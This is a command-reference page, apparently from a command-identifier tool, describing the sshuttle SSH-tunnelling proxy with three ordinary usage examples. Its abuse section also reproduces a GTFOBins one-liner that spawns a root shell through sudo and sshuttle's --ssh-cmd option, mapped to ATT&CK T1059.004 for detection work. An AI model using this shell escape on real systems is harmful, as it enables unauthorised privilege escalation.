Ceplin Command Identifier

Identifier / Programs / Linux and Unix

sshuttle

Transparent proxy server that tunnels traffic over an SSH connection. Doesn't require root or any special setup on the remote SSH server, though root access on the local machine is prompted for. tldr-pages

GTFOBins shell 1 ATT&CK technique 1 documented command

Opens the identifier with your command. It is read in your browser and sent nowhere.

How sshuttle is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

localhost

-r
--ssh-cmd
-c

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for sshuttle.

1 documented command

from GTFOBins, each read by the identifier

shell with sudo

sudo sshuttle -r x --ssh-cmd '/bin/sh -c "/bin/sh 0<&2 1>&2"' localhost
Identify

The command the identifier reads trips no Sigma process-creation rule. This command is from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for sshuttle. The identifier reads the line that runs sshuttle.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Forward all IPv4 TCP traffic via a remote SSH server

sshuttle --remote username@sshserver 0.0.0.0/0Identify

Also forward all DNS traffic to the server's default DNS resolver

sshuttle --dns --remote username@sshserver 0.0.0.0/0Identify

Forward all traffic except that which is bound for a specific subnet

sshuttle --remote username@sshserver 0.0.0.0/0 --exclude 192.168.0.1/24Identify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.